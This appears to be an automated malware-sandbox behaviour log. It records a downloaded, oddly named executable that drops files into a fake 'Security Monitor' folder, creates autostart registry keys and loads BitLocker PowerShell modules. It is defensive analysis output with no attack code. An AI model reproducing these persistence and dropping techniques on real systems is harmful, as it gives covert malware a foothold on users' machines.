Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-P60MT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-269PL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3JAMQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\webbrowser.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	File created: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-632MH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JF90R.tmp	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File created: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\curl.exe	File created: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EI053.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-OO1B8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ILFVG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-9ATRT.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-IFJUI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ASDJS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-V94IU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sqlite3.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-P60MT.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-269PL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3JAMQ.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-632MH.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lame_enc.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-JF90R.tmp	Jump to dropped file
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	File created: C:\ProgramData\Security Monitor\{WCS1080F-FD66-4650-B1B8-C8310A1CE2D3}\ffws.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-EI053.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\ff.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-OO1B8.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-ILFVG.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	File created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-9ATRT.tmp	Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run localmon

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run kbdsprt
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run kbdsprt
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run localSPM
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run localSPM

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
